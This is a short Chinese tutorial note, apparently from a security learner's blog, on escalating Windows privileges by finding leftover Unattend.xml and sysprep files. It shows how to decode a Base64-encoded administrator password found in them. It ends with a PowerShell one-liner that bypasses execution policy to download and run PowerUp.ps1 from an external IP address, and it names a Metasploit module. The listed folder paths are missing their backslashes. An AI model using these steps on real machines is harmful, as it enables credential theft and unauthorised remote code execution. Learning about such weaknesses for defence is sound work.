前言:学了一年差不多了,才刚知道有这种方式的提权,所以记录下来了!自己并没有在实战中遇到这种情况,但是以后的信息搜集还是可以注意下的!
Unattended Installs:
自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户!
XML一般都会在以下的文件夹中:
C:WindowsPanther
C:WindowsPantherUnattend
C:WindowsSystem32
C:WindowsSystem32sysprep
除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作系统时使用的凭据信息,这些信息可以帮助我们提权!
打开文件之后格式为xml格式然后可以进行搜索UserAccounts
或者AdministratorPassword
,因为我们只需要这部分,例如:
<UserAccounts>
<LocalAccounts>
<LocalAccount>
<Password>
<Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
在这个Unattend文件中,我们可以看到一个本地账户被创建并加入到了管理员组中。
管理员密码没有以明文形式显示,但是显然密码UEBzc3dvcmQxMjMhUGFzc3dvcmQ=
是以Base64进行编码的
解码为:P@ssword123!Password
但是微软在进行编码前会在Unattend文件中所有的密码后面都追加Password
所以我们本地管理员的密码实际上是P@ssword123!
小知识:
1、在msf中利用的相应模块post/windows/gather/enum_unattend
2、PowerUp中利用的模块powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Get-UnattendedInstallFile"